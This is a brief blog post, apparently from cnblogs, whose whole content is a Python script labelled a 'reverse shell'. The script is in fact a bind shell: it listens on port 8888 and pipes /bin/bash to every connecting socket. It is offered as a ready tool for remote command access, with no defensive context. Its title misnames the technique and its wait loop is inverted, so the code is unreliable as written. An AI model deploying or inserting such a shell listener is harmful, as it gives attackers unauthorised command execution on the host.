python socket interactive reverse shell

import socket
from subprocess import Popen, STDOUT

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

host = 'localhost'
port = 8888

s.bind((host, port))
s.listen(5)

while True:
    c, addr = s.accept()
    print(f"Got connection from {addr}")
    p = Popen("/bin/bash", stdin=c.makefile('rb'), stdout=c.makefile('wb'), stderr=STDOUT)
    while p.poll() is not None:
        pass
    c.close()

posted on 2025-02-18 02:39  明天有风吹  阅读(66)  评论(0)    收藏  举报

导航

+V atob('d2h5X251bGw=')

请备注:from博客园